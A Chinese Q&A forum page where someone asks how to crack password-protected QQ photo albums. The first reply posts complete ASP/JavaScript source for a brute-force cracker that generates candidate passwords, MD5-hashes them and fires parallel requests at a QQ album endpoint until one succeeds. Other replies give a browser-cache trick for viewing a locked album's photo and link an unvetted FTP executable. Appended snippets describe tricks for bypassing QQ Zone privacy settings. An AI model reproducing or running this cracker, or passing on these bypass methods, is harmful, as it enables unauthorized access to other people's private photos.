跪求一个破解QQ像册的办法.
发布网友
发布时间:2022-05-24 12:35
我来回答
共4个回答
热心网友
时间:2023-11-04 14:23
<html>
<head>
<title>忘qq相册密码(又忘 qq密码了),请用本qq相册密码暴破器(第二版) </title>
<script>
//document.write (MD5("58"))
function MD5(sMessage)
{
function RotateLeft(lValue, iShiftBits)
{
return (lValue<<iShiftBits) | (lValue>>>(32-iShiftBits));
}
function AddUnsigned(lX,lY)
{
var lX4,lY4,lX8,lY8,lResult;
lX8 = (lX & 0x80000000);
lY8 = (lY & 0x80000000);
lX4 = (lX & 0x40000000);
lY4 = (lY & 0x40000000);
lResult = (lX & 0x3FFFFFFF)+(lY & 0x3FFFFFFF);
if (lX4 & lY4) return (lResult ^ 0x80000000 ^ lX8 ^ lY8);
if (lX4 | lY4) {
if (lResult & 0x40000000) return (lResult ^ 0xC0000000 ^ lX8 ^ lY8);
else return (lResult ^ 0x40000000 ^ lX8 ^ lY8);
} else return (lResult ^ lX8 ^ lY8);
}
function F(x,y,z) { return (x & y) | ((~x) & z); }
function G(x,y,z) { return (x & z) | (y & (~z)); }
function H(x,y,z) { return (x ^ y ^ z); }
function I(x,y,z) { return (y ^ (x | (~z))); }
function FF(a,b,c,d,x,s,ac) {
a = AddUnsigned(a, AddUnsigned(AddUnsigned(F(b, c, d), x), ac));
return AddUnsigned(RotateLeft(a, s), b);
}
function GG(a,b,c,d,x,s,ac) {
a = AddUnsigned(a, AddUnsigned(AddUnsigned(G(b, c, d), x), ac));
return AddUnsigned(RotateLeft(a, s), b);
}
function HH(a,b,c,d,x,s,ac) {
a = AddUnsigned(a, AddUnsigned(AddUnsigned(H(b, c, d), x), ac));
return AddUnsigned(RotateLeft(a, s), b);
}
function II(a,b,c,d,x,s,ac) {
a = AddUnsigned(a, AddUnsigned(AddUnsigned(I(b, c, d), x), ac));
return AddUnsigned(RotateLeft(a, s), b);
}
function ConvertToWordArray(sMessage) {
var lWordCount;
var lMessageLength = sMessage.length;
var lNumberOfWords_temp1=lMessageLength + 8;
var lNumberOfWords_temp2=(lNumberOfWords_temp1-(lNumberOfWords_temp1 % 64))/64;
var lNumberOfWords = (lNumberOfWords_temp2+1)*16;
var lWordArray=Array(lNumberOfWords-1);
var lBytePosition = 0;
var lByteCount = 0;
while ( lByteCount < lMessageLength ) {
lWordCount = (lByteCount-(lByteCount % 4))/4;
lBytePosition = (lByteCount % 4)*8;
lWordArray[lWordCount] = (lWordArray[lWordCount] | (sMessage.charCodeAt(lByteCount)<<lBytePosition));
lByteCount++;
}
lWordCount = (lByteCount-(lByteCount % 4))/4;
lBytePosition = (lByteCount % 4)*8;
lWordArray[lWordCount] = lWordArray[lWordCount] | (0x80<<lBytePosition);
lWordArray[lNumberOfWords-2] = lMessageLength<<3;
lWordArray[lNumberOfWords-1] = lMessageLength>>>29;
return lWordArray;
}
function WordToHex(lValue) {
var WordToHexValue="",WordToHexValue_temp="",lByte,lCount;
for (lCount = 0;lCount<=3;lCount++) {
lByte = (lValue>>>(lCount*8)) & 255;
WordToHexValue_temp = "0" + lByte.toString(16);
WordToHexValue = WordToHexValue + WordToHexValue_temp.substr(WordToHexValue_temp.length-2,2);
}
return WordToHexValue;
}
var x=Array();
var k,AA,BB,CC,DD,a,b,c,d
var S11=7, S12=12, S13=17, S14=22;
var S21=5, S22=9 , S23=14, S24=20;
var S31=4, S32=11, S33=16, S34=23;
var S41=6, S42=10, S43=15, S44=21;
// Steps 1 and 2. Append padding bits and length and convert to words
x = ConvertToWordArray(sMessage);
// Step 3. Initialise
a = 0x67452301; b = 0xEFCDAB89; c = 0x98BADCFE; d = 0x10325476;
// Step 4. Process the message in 16-word blocks
for (k=0;k<x.length;k+=16) {
AA=a; BB=b; CC=c; DD=d;
a=FF(a,b,c,d,x[k+0], S11,0xD76AA478);
d=FF(d,a,b,c,x[k+1], S12,0xE8C7B756);
c=FF(c,d,a,b,x[k+2], S13,0x242070DB);
b=FF(b,c,d,a,x[k+3], S14,0xC1BDCEEE);
a=FF(a,b,c,d,x[k+4], S11,0xF57C0FAF);
d=FF(d,a,b,c,x[k+5], S12,0x4787C62A);
c=FF(c,d,a,b,x[k+6], S13,0xA8304613);
b=FF(b,c,d,a,x[k+7], S14,0xFD469501);
a=FF(a,b,c,d,x[k+8], S11,0x698098D8);
d=FF(d,a,b,c,x[k+9], S12,0x8B44F7AF);
c=FF(c,d,a,b,x[k+10],S13,0xFFFF5BB1);
b=FF(b,c,d,a,x[k+11],S14,0x895CD7BE);
a=FF(a,b,c,d,x[k+12],S11,0x6B901122);
d=FF(d,a,b,c,x[k+13],S12,0xFD987193);
c=FF(c,d,a,b,x[k+14],S13,0xA679438E);
b=FF(b,c,d,a,x[k+15],S14,0x49B40821);
a=GG(a,b,c,d,x[k+1], S21,0xF61E2562);
d=GG(d,a,b,c,x[k+6], S22,0xC040B340);
c=GG(c,d,a,b,x[k+11],S23,0x265E5A51);
b=GG(b,c,d,a,x[k+0], S24,0xE9B6C7AA);
a=GG(a,b,c,d,x[k+5], S21,0xD62F105D);
d=GG(d,a,b,c,x[k+10],S22,0x2441453);
c=GG(c,d,a,b,x[k+15],S23,0xD8A1E681);
b=GG(b,c,d,a,x[k+4], S24,0xE7D3FBC8);
a=GG(a,b,c,d,x[k+9], S21,0x21E1CDE6);
d=GG(d,a,b,c,x[k+14],S22,0xC33707D6);
c=GG(c,d,a,b,x[k+3], S23,0xF4D50D87);
b=GG(b,c,d,a,x[k+8], S24,0x455A14ED);
a=GG(a,b,c,d,x[k+13],S21,0xA9E3E905);
d=GG(d,a,b,c,x[k+2], S22,0xFCEFA3F8);
c=GG(c,d,a,b,x[k+7], S23,0x676F02D9);
b=GG(b,c,d,a,x[k+12],S24,0x8D2A4C8A);
a=HH(a,b,c,d,x[k+5], S31,0xFFFA3942);
d=HH(d,a,b,c,x[k+8], S32,0x8771F681);
c=HH(c,d,a,b,x[k+11],S33,0x6D9D6122);
b=HH(b,c,d,a,x[k+14],S34,0xFDE5380C);
a=HH(a,b,c,d,x[k+1], S31,0xA4BEEA44);
d=HH(d,a,b,c,x[k+4], S32,0x4BDECFA9);
c=HH(c,d,a,b,x[k+7], S33,0xF6BB4B60);
b=HH(b,c,d,a,x[k+10],S34,0xBEBFBC70);
a=HH(a,b,c,d,x[k+13],S31,0x289B7EC6);
d=HH(d,a,b,c,x[k+0], S32,0xEAA127FA);
c=HH(c,d,a,b,x[k+3], S33,0xD4EF3085);
b=HH(b,c,d,a,x[k+6], S34,0x4881D05);
a=HH(a,b,c,d,x[k+9], S31,0xD9D4D039);
d=HH(d,a,b,c,x[k+12],S32,0xE6DB99E5);
c=HH(c,d,a,b,x[k+15],S33,0x1FA27CF8);
b=HH(b,c,d,a,x[k+2], S34,0xC4AC5665);
a=II(a,b,c,d,x[k+0], S41,0xF4292244);
d=II(d,a,b,c,x[k+7], S42,0x432AFF97);
c=II(c,d,a,b,x[k+14],S43,0xAB9423A7);
b=II(b,c,d,a,x[k+5], S44,0xFC93A039);
a=II(a,b,c,d,x[k+12],S41,0x655B59C3);
d=II(d,a,b,c,x[k+3], S42,0x8F0CCC92);
c=II(c,d,a,b,x[k+10],S43,0xFFEFF47D);
b=II(b,c,d,a,x[k+1], S44,0x85845DD1);
a=II(a,b,c,d,x[k+8], S41,0x6FA87E4F);
d=II(d,a,b,c,x[k+15],S42,0xFE2CE6E0);
c=II(c,d,a,b,x[k+6], S43,0xA3014314);
b=II(b,c,d,a,x[k+13],S44,0x4E0811A1);
a=II(a,b,c,d,x[k+4], S41,0xF7537E82);
d=II(d,a,b,c,x[k+11],S42,0xBD3AF235);
c=II(c,d,a,b,x[k+2], S43,0x2AD7D2BB);
b=II(b,c,d,a,x[k+9], S44,0xEB86D391);
a=AddUnsigned(a,AA); b=AddUnsigned(b,BB); c=AddUnsigned(c,CC); d=AddUnsigned(d,DD);
}
// Step 5. Output the 128 bit digest
var temp= WordToHex(a)+WordToHex(b)+WordToHex(c)+WordToHex(d);
return temp.toLowerCase();
}
</script>
</head>
<body>
<%
start_wei_shuo=1
end_wei_shuo=12
'密码字典
'大写一般没人用 ch="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@!~^#%$&"
ch=split("0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z",",")
ch2=split("0,1,2,3,4,5,6,7,8,9",",")
ch3=split("a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z",",")
'--------------------------------------------------
if request("fun")="" then
%>
<script>alert("忘qq相册密码(又忘 qq密码了),请用本qq相册密码暴破器(第二版,警告:不得用于非法目的");
alert("在深夜破更快");
setTimeout("self.location='gogirl.asp?fun=test';",10);</script>
<%
response.end
end if
'----------------------------------------------
sub next_char_index()
aaa=0
for i=1 to session("pwd_now_len")
if session(cstr(i)&"wei_now_char_index")=(session(cstr(i)&"wei_max_index")-1) then
session(cstr(i)&"wei_now_char_index")=0
if i=cint(session("pwd_now_len")) then
if i>=cint(session("pwd_max_len")) then
session("ok_break")=1
session("pwd_now_len")=session("pwd_min_len")
for iiu=1 to 90
session(cstr(iiu)&"wei_now_char_index")=0
next
exit for
end if
session("pwd_now_len")=session("pwd_now_len")+1
session(cstr(session("pwd_now_len"))&"wei_now_char_index")=0
exit for
else
aaa=1
end if
else
session(cstr(i)&"wei_now_char_index")=session(cstr(i)&"wei_now_char_index")+1
exit for
end if
if aaa=0 then exit for
if aaa=1 then aaa=0
next
end sub
'----------------------------------------------
function get_now_pwd()
s=""
for ia=session("pwd_now_len") to 1 step -1
if session(cstr(ia)&"wei_type")="numandstr" then
a=ch(session(cstr(ia)&"wei_now_char_index"))
s=s&a
end if
if session(cstr(ia)&"wei_type")="num" then
a=ch2(session(cstr(ia)&"wei_now_char_index"))
s=s&a
end if
if session(cstr(ia)&"wei_type")="str" then
a=ch3(session(cstr(ia)&"wei_now_char_index"))
s=s&a
end if
next
get_now_pwd=s
exit function
end function
'----------------------------------------------
'main_code---start:
xml_thread_max=10
if session("haved")<>"" then
for w=1 to xml_thread_max
Execute("Set http"&cstr(w)&"=Server.CreateObject(""Microsoft.XMLHTTP"")")
Execute("http" &cstr(w) & ".Open ""GET""," & " ""http://qz-photo.qq.com/cgi-bin/qzone/cgi_qzone_view_album?uin=" &session("qq")& "&albumid=" &session("ceid")& "&password=" &request("md"&cstr(w))&" "" " &",False")
Execute("http" &cstr(w) & ".send")
Execute("Set Doc" &cstr(w) & "=Server.CreateObject(""Microsoft.XMLDOM"") ")
Execute("Doc" &cstr(w) & ".Async=False ")
Execute("Doc" &cstr(w) & ".ValidateOnParse=False")
Execute("Doc" &cstr(w) & ".Load(http" &cstr(w) & ".ResponseXML)")
Execute("set root" &cstr(w) & "=Doc" &cstr(w) & ".documentElement")
Execute("set nodelis" &cstr(w) & "=root" &cstr(w) & ".selectnodes(""msg"")")
Execute("nodecount" &cstr(w) & "=nodelis" &cstr(w) & ".length")
next
for ww=1 to xml_thread_max
if eval("nodecount" &cstr(ww) &"=0") then
response.write "<script language=javascript>alert('破解成功,密码为:"&request("mima"&cstr(ww))&"');</script>"
response.end
end if
next
if session("ok_break")=1 then
response.write "<script language=javascript>alert('扫描完成,未发现正确的密码');</script>"
response.end
end if
end if
session("haved")="1"
%>
<script language=javascript>
md1=MD5("<%=get_now_pwd()%>");
mima1="<%=get_now_pwd()%>"
<%call next_char_index%>
md2=MD5("<%=get_now_pwd()%>");
mima2="<%=get_now_pwd()%>"
<%call next_char_index%>
md3=MD5("<%=get_now_pwd()%>");
mima3="<%=get_now_pwd()%>"
<%call next_char_index%>
md4=MD5("<%=get_now_pwd()%>");
mima4="<%=get_now_pwd()%>"
<%call next_char_index%>
md5=MD5("<%=get_now_pwd()%>");
mima5="<%=get_now_pwd()%>"
<%call next_char_index%>
md6=MD5("<%=get_now_pwd()%>");
mima6="<%=get_now_pwd()%>"
<%call next_char_index%>
md7=MD5("<%=get_now_pwd()%>");
mima7="<%=get_now_pwd()%>"
<%call next_char_index%>
md8=MD5("<%=get_now_pwd()%>");
mima8="<%=get_now_pwd()%>"
<%call next_char_index%>
md9=MD5("<%=get_now_pwd()%>");
mima9="<%=get_now_pwd()%>"
<%call next_char_index%>
md10=MD5("<%=get_now_pwd()%>");
mima10="<%=get_now_pwd()%>"
<%call next_char_index%>
setTimeout("self.location='gogirl.asp?fun=test&why=忘qq相册密码(又忘qq密码了),请用本qq相册密码暴破器(第二版)BYqq78780577&md1='+md1+'&md2='+md2+'&md3='+md3+'&md4='+md4+'&md5='+md5+'&md6='+md6+'&md7='+md7+'&md8='+md8+'&md9='+md9+'&md10='+md10+'&mima1='+mima1+'&mima2='+mima2+'&mima3='+mima3+'&mima4='+mima4+'&mima5='+mima5+'&mima6='+mima6+'&mima7='+mima7+'&mima8='+mima8+'&mima9='+mima9+'&mima10='+mima10;",1);
</script>
<%
for io=1 to 5
response.write "<font color=red>正在尝试密码:"&request("mima"&cstr(io))&" ------对应md5:"&request("md"&cstr(io))&"</font><br>"
next
response.write "<br><br><br>正在破的qq为"&session("qq")&"<br>正在破的qq相册的id为"&session("ceid")
response.write "<br>线程数:"
response.write xml_thread_max
response.write "<br><br>说明:忘qq相册密码(又忘qq密码了),请用本qq相册密码暴破器(第二版)"
response.write "<br>HACKER"
response.write "<br><a href=index.asp>返回并重新选其他破解方式</font>"
%>
以上是暴力破解QQ相册的ASP程序源码。自己研究一下吧,破解MD5的。
热心网友
时间:2023-11-04 14:24
我可以很负责任的告诉你,根本就没有!
只有可以看一张图的
第一步-打开IE-工具-IE选项-删除文件F-删除COOKISS-打开设置-查看文件夹
第二步-打开相册-在刚才打开的文件夹里点击刷新,然后找到一个文件名为
cgi_qqzone.cgi的文件.打开他-看到一些代码...然后就按Ctrl+F
输入相册的名字<比如加密相册叫:这就是我....则打入"这就是我"
按两次 查找下一个...然后在下面一点看到一个http://开头和一串数字结尾的连接就是加密相册的图片拉,...复制到IE上就可以看到拉....
http://photo.qq.com/cgi-bin/portal/cgi_portal_list_album?uin=********(*号代表要查看对象的Q号) 在IE中打开以后得到:
<?xml version="1.0" encoding="gb2312" ?>
- <data>
- <left>
- <album>
<albumnum>3</albumnum>
<listnum>1</listnum>
<picnum>44</picnum>
<pagenum>1</pagenum>
<owner>497434625</owner>
<ownerface>246</ownerface>
- <ownername>
- <![CDATA[ 加密相册名称
]]>
</ownername>
<diskused>4.55</diskused>
<disktotal>16</disktotal>
</album>
</left>
+ <album>
<id>67394000</id>
- <name>
- <![CDATA[ juan zi
]]>
</name>
<pre>http://s2.photo.qq.com/67394000/212664328</pre>
<priv>2</priv>
- <desc>
............
http://s2.photo.qq.com/67394000/212664328该地址便是加密相册的第一张照片 遗憾的是 只能看到这一张!!!!!!!!
热心网友
时间:2023-11-04 14:24
无语。。。。。以前可以,但现在这些方法都被封了。
热心网友
时间:2023-11-04 14:25
麻烦 用这个工具
ftp://222.189.228.141/databases/QQ%CF%F1%B2%E1%B2%E9%BF%B4%C6%F7.exe
怎么都是要这个的
怎样破解qq空间相册权限?
方法一:双号策略解锁空间权限 首先,你需要有两个QQ账号。将第一个账号设为已知密码的空间,然后用第二个账号去访问。在地址栏中,将目标空间的QQ号替换为第二个账号,无需密码即可顺利进入。对于密友访问权限,也只需将两个账号设置为密友,再次运用此法,轻松穿越密码防线。破解相册权限的深层技巧 ...
qq相册密码暴力破解器怎么用?
1、打开QQ相册密码暴力破解器(第一次打开时可能会报错)。2、获取需要破解的相册ID。3、输入对应QQ号码、相册ID。4、设置破解字典,即你可能知道的密码相关信息(如完全不知道,可一个个测试)。5、点击【开始破解】按钮。6、成功破解,根据密码的难易程度,可能会产生多个不同的结果。
qq相册暴力破解
要破解QQ相册的加密,首先确定目标,即你想查看的相册。接着,清理IE浏览器的临时文件和cookie记录,以消除可能的痕迹。登录到你的好友QQ空间,复制他们加密相册的文件名称。然后,在IE属性设置中,点击查看文件,找到名为cgi_qqzone(或cgi_emotion,可能有两个,选择能访问的那一个)的文件。双击打开后...
qq空间相册密码怎么破win10
使用密码破解软件:密码破解软件可以通过破解算法不断尝试密码,直到找到正确的密码为止。但是使用这种方法有可能触犯法律,且成功率不高。找回密码:如果是自己忘记了密码,可以通过QQ空间官网提供的找回密码功能进行找回。利用漏洞:对于某些安全性较低的QQ空间相册,可能存在漏洞,可以利用这些漏洞进行密码破解。
怎么破解qq相册密码
1、打开一个加密的QQ空间相册,单击”工具“。2、单击internet选项,弹出设置对话框。3、单击“”删除“。4、在”删除cookies“和”删除Internet临时文件”前的方框打对勾选择。5、单击删除,清空一些历史记录。6、正在删除,如果文件较多的话可能要稍微等一会。7、单击”设置“选项。8、单击“查看文件”...
qq好友的空间相册被加密如何打开?
首先,打开那个加密的QQ空间相册,然后在你的IE浏览器中,点击右上角的工具选项,接着选择"Internet选项"。在“常规”标签下,找到并点击“Internet临时文件夹”,在弹出的选项中,勾选“删除cookies”和“删除Internet临时文件”,然后确认删除。继续回到IE设置页面,点击“查看文件”选项,进入下一个步骤...
苹果手机怎么破解QQ空间相册?
1.下载并安装“QQ空间看看”工具。2.打开工具,在输入框中输入对方的QQ号码。3.选择要查看的内容,如相册、说说等。4.点击“查看”按钮,即可破解权限查看对方的内容。需要注意的是,使用第三方工具可能存在一定的风险,建议谨慎使用。总之,破解QQ空间权限并不是一件难事,只要你掌握了一些技巧和方法,...
qq空间相册密码怎么破?
1.打开一个加密的QQ空间相册,点击【工具】-【互联网选项】,弹出设置对话框,点击【删除】;2.选中[删除cookies]和[删除Internet临时文件]前面的复选框,然后单击删除以清除一些历史记录;3.点击【设置】选项和【查看文件】,弹出文件夹;第四步。首先最小化该文件夹,稍后再使用;5.此时点击加密相册...
怎样破解qq相册加密啊?
其次,我们需要掌握一些工具和技巧。例如,我们可以使用一些网络爬虫工具来获取目标相册的网页源代码,然后分析源代码中的加密算法和密码。此外,我们还可以使用一些破解工具和字典来暴力破解密码,或者采用社会工程学的方法,通过技术手段来获取密码。最后,我们需要具备一定的道德和法律意识。破解加密qq空间相册...
QQ空间相册密码怎么破解, QQ空间破解
首先,破解QQ空间的密码访问权限。1.有两个QQ号。2.如果您想进入加密的QQ空间,您可以将密码添加到我们第一个QQ号的空间中。然后用第二个QQ号访问第一个QQ号的加密空间。3.输入密码进入加密的QQ空间。在地址栏把QQ号改成我们想进入空间但不知道密码的QQ号。进入,无需密码即可轻松进入。4.设置密友...